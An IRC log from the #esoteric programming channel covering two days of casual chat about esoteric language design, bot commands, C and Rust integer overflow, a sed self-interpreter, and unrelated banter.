guess “type” and “where” are also shell builtins 01:00:23 I like my new language. It's cool. 01:00:49 QUINTHELLOPIA! 01:01:13 helloochaf. quintopia is asked. 01:01:28 rdococ: it is not 42. there may be a 42, somewhere. 01:01:36 boily, is it the digits of e? 01:02:16 boily: https://www.google.com/maps?q=42.0,+42.0 hth 01:02:23 42 kgs 01:02:27 s/s// 01:02:38 42 is a scow number anyway 01:02:46 everyone knows 12 is better 01:03:33 also, a scow number would be M00.00 where M stands for -1 in balanced decimal. 01:03:51 scow 01:05:30 . o O ( what is a cow's endianness? ) 01:06:27 [wiki] [[Rule]] https://esolangs.org/w/index.php?diff=51790&oldid=51789 * Rdococ * (+201) /* Examples */ Simpler multiplication program 01:07:21 I took inspiration from the tape stick/cut/rolling idea on the list of ideas. 01:12:03 hm 01:12:05 flow control 01:12:34 boily: what is the current barycenter according to boily? 01:21:47 -!- augur has joined. 01:26:25 quintopia: I'd say... somewhere in the midwest, probably a few klicks underground. 01:26:41 depends on lifthrasiir, really. he's the outlierest person. 01:26:42 [wiki] [[Rule]] M https://esolangs.org/w/index.php?diff=51791&oldid=51790 * Rdococ * (+29) /* Overview */ 01:28:24 :-O 01:28:46 sorry if it didn't come up right >_>'... 01:29:00 I meant you're far away. 01:29:19 lol. 01:29:41 hm 01:29:56 I'm thinking of how I would implement flow control 01:30:19 I could turn the IP into a section of its own 01:30:27 something you can slide, like ordinary scales 01:30:40 the program code would be attached to it 01:31:12 I also considered creating a graphical representation. 01:31:35 Tonight is a good night, nevertheless. 01:34:22 this is your night tonight everything's gonna be alright ♪ 01:42:50 -!- otherbot has quit (Remote host closed the connection). 01:43:24 hm 01:43:28 time to add more slides 01:54:11 -!- pdxleif has quit (Ping timeout: 240 seconds). 01:54:38 -!- pdxleif has joined. 02:03:42 boily: ah I am fine with that, I'm just wondering if I AM the outliest :? 02:05:46 anyway, right now I'm around 37.48499,127.01621 02:05:56 FYI* 02:06:23 [wiki] [[Rule]] https://esolangs.org/w/index.php?diff=51792&oldid=51791 * Rdococ * (+533) /* Overview */ Added G and H. 02:09:08 [wiki] [[Rule]] https://esolangs.org/w/index.php?diff=51793&oldid=51792 * Rdococ * (-435) /* Overview */ Removed G and replaced H with S, because you can compare numbers with subtraction & sign. 02:10:02 -!- hppavilion[1] has joined. 02:10:21 Hm... 02:10:23 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 110, 111, 112, 113, 114, 115, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 210, 211, 212, 213, 214, 215, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 310, 311, 312, 313, 314, 315 02:11:09 [wiki] [[Rule]] https://esolangs.org/w/index.php?diff=51794&oldid=51793 * Rdococ * (+81) /* Overview */ Readded G as floor. May be required for comparisons. x>y = floor((sgn(x-y)+1)/2), for example. 02:15:00 lifthrasiir: I confirm the outlyingity, as far as my data is reliable. 02:15:37 lifthrasiir is outlier than anyone else? 02:20:44 are you sure it's not me? 02:21:22 In what ways is lifthrasiir outly? 02:21:47 rdococ: what are your approximative geographic coördinates? 02:21:48 geographic co'ordinates and body weigh? 02:22:05 boily what were lifthrasiir's coördinates 02:22:08 only the ö, not the body weigh. we're all about the same. 02:22:23 quintopia: “37.48499,127.01621”, according to him. 02:22:45 ~53, ~0 02:22:51 that ~ is approx 02:22:52 not negative 02:22:58 0? you sure? 02:23:13 0 is my longitude 02:23:17 boily: you don't know my body weigh hth 02:23:24 so 0, 53 maybe? 02:23:27 @metar KOAK 02:23:28 KOAK 190053Z 28011KT 10SM FEW020 17/12 A3012 RMK AO2 SLP201 T01720122 02:23:28 if longitude goes first 02:23:38 @metar KJFK 02:23:39 shachaf: yup! you're the rebarbativest of them all :D 02:23:39 KJFK 190051Z 13009KT 10SM FEW250 09/06 A3049 RMK AO2 SLP324 T00940056 02:23:55 boily those coördinates have got soul 02:24:32 ö 02:24:35 https://www.google.com/maps?q=53%2C+0 02:24:40 cowbridge? more like scowbridge 02:25:07 shachaf: I'm not in cowbridge, I'm in the same country though. 02:25:24 country? more like scowntry 02:25:32 -!- ais523 has quit (Ping timeout: 258 seconds). 02:25:34 -_[ 02:25:36 -* 02:25:37 shachaf are you bearded? 02:26:00 I don't think so? 02:26:19 boily shachaf cant be rebarbative 02:26:26 @wn rebarbative 02:26:27 *** "rebarbative" wn "WordNet (r) 3.0 (2006)" 02:26:27 rebarbative 02:26:27 adj 1: serving or tending to repel; "he became rebarbative and 02:26:27 prickly and spiteful"; "I find his obsequiousness 02:26:27 repellent" [syn: {rebarbative}, {repellent}, {repellant}] 02:26:57 uuuh... 02:27:20 (from Old French re- + barbe (“barb”, “beard”) (from Latin barba (“beard”), literally “to stand beard to beard against”) + -atif (“-ative”). 02:27:20 not quite that, just uncoöperative. (with good reason, I must say.) 02:27:33 the word is French, indeed. 02:27:47 ë 02:27:51 i,i equivocative 02:27:54 is that a valid word 02:27:57 @wn equivocative 02:27:58 No match for "equivocative". 02:27:59 @wn equivocate 02:28:00 *** "equivocate" wn "WordNet (r) 3.0 (2006)" 02:28:00 equivocate 02:28:00 v 1: be deliberately ambiguous or unclear in order to mislead or 02:28:00 withhold information [syn: {beat around the bush}, 02:28:00 {equivocate}, {tergiversate}, {prevaricate}, {palter}] 02:28:00 you cant stand beard to beard with no beard 02:28:38 rdococ: if you want to use «ë» and «ï», you should learn French! a very good language! 02:28:50 tergiversate? 02:29:10 tergiverser est un bon mot pour les cabots. 02:29:39 boily: Or I could get into the habit of using it like you do, to distinguish word parts 02:30:20 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 02:31:33 boily: vous êtes le cabot 02:32:04 ça se peut bien! la dernière fois que j'ai checké, j'avais assez de poil pour en être un. 02:32:54 (holy fungot... google translate got it perfectly right... the End of Times is Nigh.) 02:32:54 boily: ( the " well, it's distinctive. i'll have to write two 02:33:19 it even got «checké». 02:33:20 I... 02:33:25 I can't even. 02:33:54 boily: the robots are taking our jobs tdnh 02:35:03 tdnhaa. 02:35:17 meanwhile, 'night all! 02:35:22 -!- sleffy has quit (Ping timeout: 260 seconds). 02:35:23 -!- boily has quit (Quit: VAPOUR CHICKEN). 02:50:55 -!- oerjan has joined. 02:54:09 hellø~œrjan 02:54:20 * hppavilion[1] wants a character for the øe ligature 02:54:28 øerjan 02:55:55 öerjan might fit 02:56:21 Are you sure you don't want the / going through the whole ligature? 02:56:25 s/öerjan/örjan/ 02:56:29 There's a combining / that you could put over the oe ligature. 03:04:47 ö is used for both [ø] and [œ] in some languages 03:10:36 hppævellion[1] 03:13:10 -!- sleffy has joined. 03:21:07 -!- Zarutian has quit (Quit: Zarutian). 03:28:41 -!- hppavilion[1] has quit (Ping timeout: 255 seconds). 03:30:51 -!- yorick has quit (Ping timeout: 240 seconds). 03:37:00 -!- sleffy has quit (Ping timeout: 240 seconds). 03:39:20 -!- sleffy has joined. 03:49:10 ihyna 04:06:20 -!- contrapumpkin has joined. 04:25:07 -!- orby has quit (Ping timeout: 260 seconds). 04:30:56 -!- tromp has quit (Remote host closed the connection). 04:31:13 -!- tromp has joined. 04:44:12 -!- bender has joined. 05:39:56 <\oren\> hold on a second wasn't there, at some point, somehting called "Froogle"? 05:43:25 Yes. 06:08:34 [wiki] [[Jot]] https://esolangs.org/w/index.php?diff=51795&oldid=51779 * Oerjan * (-13) There's no way it's not pronounced like the synonym of "iota". 06:09:02 * oerjan barely resisted adding the quip, "happy s... oh, whoops" 06:09:27 but not mentioning it. 06:11:02 -!- hppavilion[1] has joined. 06:11:10 -!- hppavilion[1] has quit (Remote host closed the connection). 06:11:36 -!- hppavilion[1] has joined. 06:11:58 s is never happy hth 06:12:19 shocking 06:18:39 -!- augur has quit (Remote host closed the connection). 06:47:01 -!- FreeFull has quit. 06:53:32 -!- hppavilion[0] has joined. 06:55:32 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 06:57:11 -!- augur has joined. 06:58:17 -!- augur has quit (Remote host closed the connection). 06:58:54 -!- augur has joined. 07:06:50 -!- hppavilion[1] has joined. 07:08:22 -!- hppavilion[0] has quit (Ping timeout: 260 seconds). 07:25:17 -!- hppavilion[1] has quit (Remote host closed the connection). 07:27:25 -!- contrapumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…). 07:28:50 -!- augur has quit (Remote host closed the connection). 07:29:23 -!- augur has joined. 07:34:07 -!- augur has quit (Ping timeout: 258 seconds). 07:58:47 -!- MoALTz has joined. 08:06:43 -!- sleffy has quit (Ping timeout: 240 seconds). 08:08:55 @botsnack 08:08:55 :) 08:10:45 ? equivocative 08:10:46 equivocative? ¯\(°​_o)/¯ 08:11:43 today's xkcd is really big 08:12:13 and the other day so was dmm's dinosaur whiteboard. must be something infectious. 08:13:00 -!- AnotherTest has joined. 08:13:06 anyway, glad lambdabot came back on its own :) 08:14:43 -!- oerjan has quit (Quit: Nite). 08:19:10 -!- sebbu2 has joined. 08:20:18 -!- ais523 has joined. 08:22:31 -!- sebbu has quit (Ping timeout: 260 seconds). 08:22:59 mornin' all 08:26:15 int-e: So in Monkey Island you need to carry some corrosive grog in pewter mugs. 08:41:08 anyone here? 08:41:10 I need to rant 08:42:54 a good rant is always helpful 08:47:00 -!- ais523 has quit (Ping timeout: 240 seconds). 08:57:21 shachaf: Right... they melt... but I never realized that they were supposed to be made of pewter? And you get many of those mugs anyway... oh well, whatever. This (getting stuck on a puzzle or two) tends to happen in all interesting adventure games. 08:59:17 I need to actually complete a Monkey Island game... I've played a lot of point and click adventures, but never played more than an hour or so of a Monkey Island 09:15:13 -!- atslash has quit (Ping timeout: 240 seconds). 09:16:17 -!- atslash has joined. 09:26:57 -!- augur has joined. 09:31:31 -!- augur has quit (Ping timeout: 245 seconds). 09:46:32 Express-orientation is a really stupid idea IMO, at least for non-functional languages 09:46:45 it's almost certainly never what you want, and its popularity baffles me 09:53:53 depends what it is :P 09:54:08 wtf is express-orientation 09:54:56 express-oriented programming? 09:55:03 or rather, what does it have to do with programming. 09:57:28 it sounds express 09:57:44 . o O ( espresso orientation ) 09:58:49 odd. 09:59:11 Wikipedia -> "declarative which does not state the order in which operations execute," <- in that definition, a language which executes its operations at random, but is otherwise imperative, would be declarative 10:11:46 it's an anti-feature IMO 10:12:35 it's why "if (x = 5) { [...]" works in C 10:13:04 it does? 10:13:08 oh 10:13:14 it doesn't do what you expect, I guess 10:13:35 I've read that assignment actually returns a value (and that value is even different from C to C++ 10:14:06 yes, in C every "statement" is really an expression 10:14:10 associated with a value 10:14:18 as opposed to Pascal-likes 10:14:22 honestly, for an imperative language, that is pretty cool 10:15:50 it's dangerous 10:16:08 the legitimate usages of this "feature" are minute compared to the possibilities for accidents or abuse 10:16:16 the irony of this 10:16:30 is that you're talking about a dangerous feature in #esoteric 10:17:06 but if the expression (x = 5) returns 5, I don't see the issue 10:17:16 ah 10:17:17 wait 10:19:09 . o O ( you have softlocks, what about hardlocks? ) 11:34:47 -!- boily has joined. 11:42:17 wisdom 11:42:18 sparkle//Sparkles are annoying visual artifacts that people try to use deliberately for decoration and artistic photographs and drawings. 11:45:22 wisdom 11:45:23 latin//LATINA EST SVBLIMISSIMA LINGVA MVNDI 11:45:30 I agree with this! 11:46:24 diginellot! 11:46:39 were you relcomed? 11:48:18 -!- ais523 has joined. 12:05:25 I was not! 12:06:08 relcome diginet 12:06:09 ​diginet: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 12:09:47 thanks! 12:09:52 why is it "relcome" ? 12:10:15 it's just welcome normally 12:10:19 but people made a bunch of silly variants 12:10:25 the rainbow-coloured one is fairly popular 12:11:17 wElcOme 12:11:17 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: wElcOme: not found 12:11:22 it's a rainbowelcome. 12:11:26 Ah, that one doesn't exist any more 12:11:31 his523, Tanelle. 12:12:05  find bin/ -iname '*elcome*' 12:12:05 bin/Welcome \ bin/wElCoMe \ bin/velcome \ bin/autowelcome \ bin/WELCOME \ bin/welcome \ bin/relcome \ bin/WeLcOmE \ bin/welcome \ bin/ReLcOmE \ bin/rwelcome \ bin/elcome 12:12:41 Oh, I must have typed it wrong 12:12:44 Probably a good thing 12:14:00 ahhh 12:14:01 I see 12:14:05 well thanks 12:23:29 -!- boily has quit (Quit: VEXING CHICKEN). 12:25:50 -!- AnotherTest has quit (Ping timeout: 258 seconds). 12:30:03 -!- augur has joined. 12:34:39 -!- augur has quit (Ping timeout: 258 seconds). 12:38:43 -!- ais523 has quit (Ping timeout: 268 seconds). 12:50:11 -!- erkin has joined. 13:21:19 I have two dummy entries in the phonebook in my mobile phone whose names start with "A " so they're the first in the phonebook as it's listed, to avoid the problem when I accidentally dial someone with two keypresses just because he's name starts with an A. Am I the only one who does this? 14:06:09 Has anyone ever written a sed self-interpreter? 14:06:27 -!- sdhand has joined. 14:06:43 Taneb: probably no. at least not a non-cheating one (one that doesn't just invoke sed or perl or something as an external command) 14:06:50 it would be very difficult to write one. 14:07:08 The question is if it's actually impossible 14:07:29 sdhand: that's a question of how you define sed and self-interpreter. I think it's possible if you define them properly. 14:08:23 Hmm 14:08:31 but it would be horribly complicated, because sed is both a difficult language to implement (you'd need at least some of a regex engine, enough to run itself) and awkward to program in 14:08:55 That's sorta the point 14:09:47 the point of obfu/eso-programming is to have fun. this wouldn't be fun, I think 14:10:16 b_jonas, fun may vary to taste 14:10:23 It's certainly a challenge 14:10:44 have you even ever written a regex engine (not even one with alternatives or posix-correct first longest capture match choice rule, just a simple one with captures and star and bracket-charsets) in any language? 14:11:21 You have a point 14:12:24 I mean, maybe you could write this one even simpler than that, like one that doesn't backtrack between bracket-charset-stars, but still, it's ugly. 14:13:14 it's especially ugly if you have to make it so that the interpreter can handle all bytes in the text and regexen except newline, or at least all the bytes that it itself needs for correct interpreting 14:14:05 though I guess you could cheat by reserving like eight or sixteen bytes and transliterating the characters up by that much in the text, because given how slow this would be, nobody would notice that it breaks after ten nesting levels 14:14:44 anyway, you're welcome to try if you want 14:21:34 I certainly shall (and likely give up very quickly) 14:36:48 -!- erkin has quit (Remote host closed the connection). 14:37:02 -!- ^_^v has joined. 14:54:14 -!- bender has quit (Remote host closed the connection). 14:57:53 -!- Taneb has changed nick to Ngevd. 15:00:11 -!- Ngevd has changed nick to Taneb. 15:02:09 Hmm. There's a unicorn in the lobby. 15:02:42 is it one of the ones which invaded Dundee? 15:04:10 https://zem.fi/tmp/unicorn.jpg (from four floors up) 15:05:03 I don't want to make assumptions... but what are the chances that has... um... 'access' under the tail? 15:32:10 -!- Phantom_Hoover has joined. 15:32:10 -!- Phantom_Hoover has quit (Changing host). 15:32:10 -!- Phantom_Hoover has joined. 15:53:43 -!- augur has joined. 16:16:39 -!- erkin has joined. 16:56:20 -!- sleffy has joined. 17:03:29 -!- AnotherTest has joined. 17:14:03 -!- FreeFull has joined. 17:16:14 -!- S1 has joined. 17:27:34 -!- augur has quit (Remote host closed the connection). 17:39:32 -!- hppavilion[1] has joined. 17:40:05 -!- sleffy has quit (Ping timeout: 255 seconds). 17:42:14 Well 17:42:32 <\oren\> it's fucking "a historic victory" pronounce your H's properly you uncouth swine 17:42:43 \oren\: ... 17:42:44 <\oren\> it's not "an historic victory" 17:42:46 -!- S1 has quit (Quit: Leaving). 17:42:48 \oren\: HALLELLUJAH! 17:42:55 (...no pun intended) 17:43:52 I just wrote myself a snazzy new command line tool called "weigh" that gives me the size of a file or directory (because ls didn't seem to work properly), and one folder on my desktop is supposedly 224.51 GiB 17:45:06 hppavilion[1]: on linux? 17:45:24 Nistur: Windows; ls is in Cygwin 17:45:47 does du not work? 17:45:58 du -s someDirectory 17:46:02 or 17:46:08 du -sh someDirectory 17:46:09 Nistur: Though, the program I wrote should work on any OS where os.path.*, os.listdir, and os.getcwd are properly implemented 17:46:16 Nistur: ...I didn't try that 17:46:17 in what way was ls not working? 17:47:09 sdhand: It seems like it might just not detect Windows directories properly except in normal listing (it doesn't list details). But I'm not asking for help, I have a program to do it now :P 17:47:17 Nistur: (Oh, it's in Python if I didn't mention it) 17:47:26 I assumed it would be :P 17:47:37 and you don't even need -s 17:47:42 du someDirectory 17:47:46 or for human readable 17:47:49 du -h someDirectory 17:47:57 hppavilion[1]: oh weird 17:48:05 I'm not really out to help, just curios 17:48:12 wow that's not how that word is spelt 17:48:20 sdhand: close enough :P 17:48:29 Nistur: Good to know 17:49:27 hppavilion[1]: I went through a phase of writing little tools... but then realising that 99.99% of the little tools I was writing already existed :P 17:49:47 I didn't use python though because I have this itchy feeling whenever I have to write it 17:50:00 Nistur: Yeah :P 17:50:27 I don't really enjoy python 17:50:37 it makes small things like that easy to do tho, which I guess is the point 17:50:46 yeah 17:51:09 the main thing which it has going for it... um... it reminds me of that java (I think it was java) quote 17:51:31 https://i.imgur.com/t6qAhNc.jpg 17:52:07 no comment about the validity of the second part of the quote, but it always comes to mind :P 17:52:50 (original quote was probably from bash.org: http://bash.org/?338364 but I found the image first) 17:53:27 anyway, I'm done banging my head against these problems. Home time methinks 17:53:28 I mean 17:53:33 they've got a point 17:53:34 :^) 17:58:44 <\oren\> I prefer perl to python 17:58:59 <\oren\> I don't like significant indentation 17:59:01 yay perl, for when you need a write only language :D 17:59:11 \oren\: that's pretty much the main reason why I dislike python :P 17:59:22 <\oren\> python would be fine if they would get with the program and use {} 18:00:16 or use sexpressions. That'd be acceptable too 18:00:20 write a pre-processor for it ;p 18:00:30 I don't care too much about syntax 18:16:27 -!- shikhin_ has joined. 18:16:50 -!- shikhin_ has changed nick to Guest56688. 18:22:41 -!- Guest56688 has quit (Quit: leaving). 18:23:18 -!- DHeadshot has joined. 18:29:08 -!- hppavilion[1] has quit (Ping timeout: 255 seconds). 18:34:36 -!- DHeadshot has quit (Ping timeout: 258 seconds). 18:37:13 -!- DHeadshot has joined. 19:02:50 -!- hppavilion[1] has joined. 19:03:21 ... 19:03:21 I JUST got the pun built into "corn maze" after being outright told. I'm an idiot. 19:28:14 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 19:31:07 -!- hppavilion[1] has joined. 19:39:23 -!- sleffy has joined. 19:56:22 -!- atslash has quit (Quit: Leaving). 20:01:23 I... I have a Haskell exam tomorrow morning 20:01:46 What is it about? 20:02:03 Haskell 20:02:14 Are you examining or being examined? 20:02:34 The latter 20:04:25 -!- Phantom_Hoover has quit (Quit: Leaving). 20:09:18 It's something that doesn't feel real 20:09:32 I guess I'd like to thank this channel for getting me into Haskell like seven years ago 20:10:08 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 20:10:40 -!- ais523 has joined. 20:12:08 -!- sleffy has quit (Ping timeout: 240 seconds). 20:13:12 -!- hppavilion[1] has joined. 20:13:56 -!- sleffy has joined. 20:16:14 -!- DHeadshot has quit (Ping timeout: 255 seconds). 20:22:25 -!- hppavilion[1] has quit (Remote host closed the connection). 20:22:47 -!- hppavilion[1] has joined. 20:25:41 -!- ais523 has quit (Remote host closed the connection). 20:26:51 -!- ais523 has joined. 20:31:32 -!- DHeadshot has joined. 20:44:47 -!- MoALTz has quit (Quit: Leaving). 20:58:24 <\oren\> hmm, looks like rust integers are fundamentally broken in the same way as c integers 20:59:23 \oren\: how are C intergers broken? 21:00:01 <\oren\> that 0x7FFFFFFF + 1 is undefined 21:00:40 Is that true? 21:00:45 http://huonw.github.io/blog/2016/04/myths-and-legends-about-integer-overflow-in-rust/ says it's a myth. 21:00:53 "in release mode, overflow is not checked and is specified to wrap as two’s complement." 21:01:33 <\oren\> hold on what 21:01:58 <\oren\> the language specification differs when -O is passed? 21:02:16 <\oren\> jesus 21:02:20 This sounds more like -DNDEBUG 21:02:23 Well that's still far better than C's undefined behavior. 21:02:41 "in debug mode, arithmetic (+, -, etc.) on signed and unsigned primitive integers is checked for overflow, panicking if it occurs, and," 21:03:13 (which has led to really dangerous optimizations by gcc at least) 21:04:01 <\oren\> -O changes the actual behaviour of a program, that is so wrong 21:04:31 Debug/release is not -O 21:04:47 <\oren\> shachaf: are you sure 21:04:51 -!- sleffy has quit (Ping timeout: 260 seconds). 21:04:57 Pretty sure? 21:04:58 \oren\, it's checked on debug mode, wrapping on release 21:05:05 Maybe I'm not sure. 21:05:11 OK, I'm not sure, I know nothing about Rust. 21:06:08 <\oren\> shachaf: well, from tests, it appears that -O makes it do wrapping 21:06:26 (the C standard allows a compiler to optimize x+y < x to y < 0 if x and y are of type int; it sounds like Rust doesn't do that.) 21:06:27 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 21:06:33 \oren\, the idea being, when you're debugging you want to find integer overflows 21:06:34 OK. 21:06:52 But when it's released you want it as fast as possible, and wrapping is what makes that happen on Rust's target architectures 21:07:23 <\oren\> Taneb: is there a "compile fast but have conistent semantics" mode? 21:09:02 <\oren\> or perhaps a "i8withwrap" type? 21:10:15 There is a one of those 21:10:21 Give me a sec 21:10:52 \oren\, https://doc.rust-lang.org/std/num/struct.Wrapping.html 21:11:22 <\oren\> Cool 21:12:23 <\oren\> I still don't think -O should disable the warning for "127i8+1" 21:21:33 -!- hppavilion[1] has joined. 21:24:25 <\oren\> println!("{}",Wrapping(127i8)+1); still fails miserably 21:26:25 <\oren\> it claims that noone bothered to implement the + operator in this case 21:32:04 -!- augur has joined. 21:32:07 -!- augur has quit (Remote host closed the connection). 21:34:17 <\oren\> geez, this Wrapping<> thing is really incomplete 21:34:27 -!- augur has joined. 21:44:09 -!- sleffy has joined. 21:46:01 Ugh 21:46:08 I'm writing Python and I just created a singleton class 21:46:22 Forgive me \oren\ for I have sinned 21:47:30 -!- ais523 has quit (Remote host closed the connection). 21:48:40 -!- ais523 has joined. 22:06:22 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 22:31:19 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 22:31:31 -!- hppavilion[1] has joined. 22:33:35 -!- ^_^v has quit (Quit: Leaving). 22:33:57 -!- ^_^v has joined. 23:05:36 -!- ^_^v has quit (Ping timeout: 260 seconds). 23:06:23 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 23:16:20 -!- Zarutian has joined. 23:22:01 /\ 23:22:04 er 23:22:22 /\ 23:22:22 /\/\ activating the binary-treeforce :P 23:22:30 (if you use a monospaced font) 23:23:18 /\ 23:24:19 -!- boily has joined. 23:24:51 -!- DHeadshot has quit (Ping timeout: 245 seconds). 23:26:35 it actually works in my proportional font too 23:26:41 looks like / and space happen to be the same width 23:27:08 [wiki] [[Rule]] https://esolangs.org/w/index.php?diff=51796&oldid=51794 * Rdococ * (+137) /* Squaration */ ''simpler'' 23:28:20 (or ais523's font) 23:33:36 ais523: how do you think flow control should be implemented in a language that operates on a slide rule? 23:34:08 probably as simply as possible, there's no obvious way to tie it into the storage 23:34:11 -!- Phantom_Hoover has joined. 23:34:11 -!- Phantom_Hoover has quit (Changing host). 23:34:11 -!- Phantom_Hoover has joined. 23:34:13 unless, I guess, the program's written on one of the rules? 23:34:17 and you can slide it to move the IP aroudn 23:34:20 *around 23:34:29 I actually did have that idea, funnily enough. 23:54:32 -!- hppavilion[1] has joined. 23:57:44 <\oren\> /\ 23:57:49 <\oren\> /\/\ 23:59:38 /\ 23:59:38 /\/\ TRIFORCE! 2017-04-20: 00:00:30 I've heard that Super Mario Maker is Turing Complete, but it's actually a Bounded Storage Machine. 00:08:47 so are most "turing complete" languages 00:13:09 his523, rdochelloc, he\\oren\, hellorcah! 00:13:24 bonsoily 00:22:46 -!- hppavilion[0] has joined. 00:24:08 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 00:34:05 -!- sleffy has quit (Ping timeout: 255 seconds). 00:34:19 hppavellon[零]. 00:35:54 alercah: Some of them. Many are indeed turing complete (they don't specify a bounded storage space), but all of their implementations are obviously not. 00:38:03 right 00:39:29 -!- hppavilion[1] has joined. 00:41:51 -!- hppavilion[0] has quit (Ping timeout: 260 seconds). 00:48:14 -!- heroux has quit (Ping timeout: 240 seconds). 00:48:47 -!- heroux has joined. 00:54:30 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 01:07:42 alercah: filed my taxes! yay for Impôt Expert! 01:25:34 -!- sleffy has joined. 01:32:30 -!- sleffy has quit (Ping timeout: 240 seconds). 01:36:59 wisdom 01:37:01 moo//Moo is the sound made by a cow as it freezes. 01:39:55 boily: yay! 01:40:26 boily: which country do you file your taxes in? 01:42:32 wisdom 01:42:33 canaima//Canaima is a secret Venezuelan project to overrun #esoteric with incomprehensible people who have no idea why they're here. 01:42:51 Why *am* I here 01:43:03 I don't think I'm incomprehensible 01:43:18 かなだ 01:44:04 You don't seem very canaima either. 01:44:20 who is sdhand 01:44:33 quintopia: I dunno 01:45:01 wisdom 01:45:02 companion cube//There's cake inside it. Tear it apart, rip open your companion, and extract the delicious, delicious cake... 01:45:10 Zarutellon. Canada, and Québec at the same time, because stupidity. 01:45:34 I still don't know how to pronounce that province. 01:45:38 I always forget. 01:45:40 alercah: カナダかな… 01:45:51 but once you do national tax, provincial tax is trivial eh 01:45:59 sdhellond. who are you? 01:46:23 helloochaf. it's pronounced as it is written, but forget the «u». 01:46:28 someone whose answer to the question we know not 01:46:33 QUINTHELLOPIA. 01:46:46 COILY 01:46:52 you can't just pop the question as soon as you meet someone 01:46:56 you gotta ease into it, yo 01:47:15 indeed 01:47:20 I'm not the questioning sdhand yet, just priming them >:D 01:47:39 sdhand how long do you plan on staying? 01:47:45 I've been here before 01:48:15 oh okay that explains that 01:50:12 I've even spoken to boily I think 01:54:06 i spoke to boily before i was cool 01:54:18 like five minutes ago 01:57:15 :O 01:57:37 ultra-short-term post-modernist hipsterism? 01:58:05 dont forget selfdeprecating 02:00:50 boily: the efficiency of just having one place to file ones taxes is pretty handy here. 02:01:40 Zarutian: it's become the same here too. online wizard, you fill in all the numbers, next next next, pay CAD 20.00, then *poof* the cheque is in the mail. 02:02:02 before that, you had to fill everything by hand, twice. much fun and deep philosophical questions. 02:02:37 e.g.: for line 330, write the number from line 330. 02:03:53 fill in the return you received in 2018 02:05:49 imagine the time travelers tax form 02:05:56 boily: here, when you open an bank account you usually give the tax authority read only access to its transaction history. Also the tax authority published an text file format for exporting payroll data from accounting software most employers only have to click export and file it via the online tax portal. 02:06:34 boily: This means that one usually has only go through the tax filing once to see if the prefilled values are correct and possibly correct them. 02:07:50 you have that option here too, but it involves multiple accounts across the federal and provincial branches, with expiring access codes and the non-null possibility of phone calls. 02:09:13 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds). 02:10:52 maybe we should all live in Iceland. not too warm, uses þ, has edible sharks, but it lacks maples. 02:11:08 Zarutian: want maples? 02:12:09 boily: naah, just find ways to decrease beurocratic inefficiencies. 02:16:39 time to dream of an abureautic society... 02:16:52 -!- boily has quit (Quit: ELEMENT CHICKEN). 02:17:19 -!- Warrigal has joined. 02:18:30 -!- erkin has joined. 02:36:34 -!- ais523 has quit (Ping timeout: 255 seconds). 02:43:21 -!- oerjan has joined. 02:45:23 -!- Warrigal has quit (Read error: Connection reset by peer). 02:57:01 -!- Zarutian has quit (Quit: Zarutian). 03:15:59 a few seconds ago, and this happens to me a lot, I look at the clock, and I think, "ooh, it's pi o'clock" 03:21:50 i'm in a hotel, it's 3am and i'm hungry 03:22:04 i have a 24h takeaway menu in my hands and i'm tempted to order 03:22:08 but i don't wanna look gross 03:22:10 what do 03:35:08 whadya wanna order? 03:35:58 chicken and curry 03:36:26 idk 03:36:39 create an esoteric takeaway that only serves at 3am and use that? 03:42:42 just chicken out 03:50:19 sound extremely gross so you look relatively good 03:50:36 that's creative thinking 03:51:31 how unusual of me 03:51:42 first the slide-rule-based esolang and now this 03:51:48 I'm on a roll 03:55:47 a chicken roll 03:57:33 it's like a sausage roll but it's chicken 03:57:57 hm 03:58:09 there is function-level and value-level 03:58:18 but no class-level 03:58:43 I want to be able to sum classes together 03:59:44 -!- hppavilion[1] has quit (Ping timeout: 255 seconds). 03:59:52 . o O ( first you have to have 'sum class ) 04:00:38 > [sin, cos, tan] --what's this about functions not being values 04:00:40 [ Double>, Double>, Double>] 04:00:47 . o O ( Integer + String ) 04:00:53 > sin + cos 04:00:55 error: 04:00:55 • No instance for (Typeable a0) 04:00:55 arising from a use of ‘show_M656750360416715938611619’ 04:01:19 . o O ( function class ) 04:01:22 that instance was dropped 04:01:40 > liftA2 (+) sin cos 04:01:42 Double> 04:01:56 > liftA2 (/) sin cos 04:01:58 Double> 04:02:25 clearly classes are also values 04:03:06 a class takes an ordered list of values and returns an associative array containing key-value pairs 04:03:15 ofc 04:03:19 we can be more creative 04:03:24 for example 04:03:31 neh 04:03:33 meh 04:04:35 . o O ( infix unary operators ) 04:10:49 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 04:40:42 -!- sleffy has joined. 05:03:23 -!- sleffy has quit (Ping timeout: 260 seconds). 05:03:49 -!- sleffy has joined. 05:23:43 -!- sleffy has quit (Ping timeout: 240 seconds). 05:24:08 -!- sleffy has joined. 06:05:17 -!- sleffy has quit (Ping timeout: 260 seconds). 06:05:45 -!- sleffy has joined. 06:30:20 -!- hppavilion[1] has joined. 06:53:01 What octopus-related event occurred circa July 12010? 06:53:49 Ah, Paul the Octopus got 12 out of 14 predictions correct around that time 06:59:54 unidecode "­", 06:59:55 ​[U+0020 SPACE] [U+0022 QUOTATION MARK] [U+00AD SOFT HYPHEN] [U+0022 QUOTATION MARK] [U+002C COMMA] 07:00:10 unidecode ­ 07:00:10 ​[U+00AD SOFT HYPHEN] 07:00:23 multicode ­ 07:00:25 U+00AD SOFT HYPHEN \ UTF-8: c2 ad UTF-16BE: 00ad Decimal: ­ \ 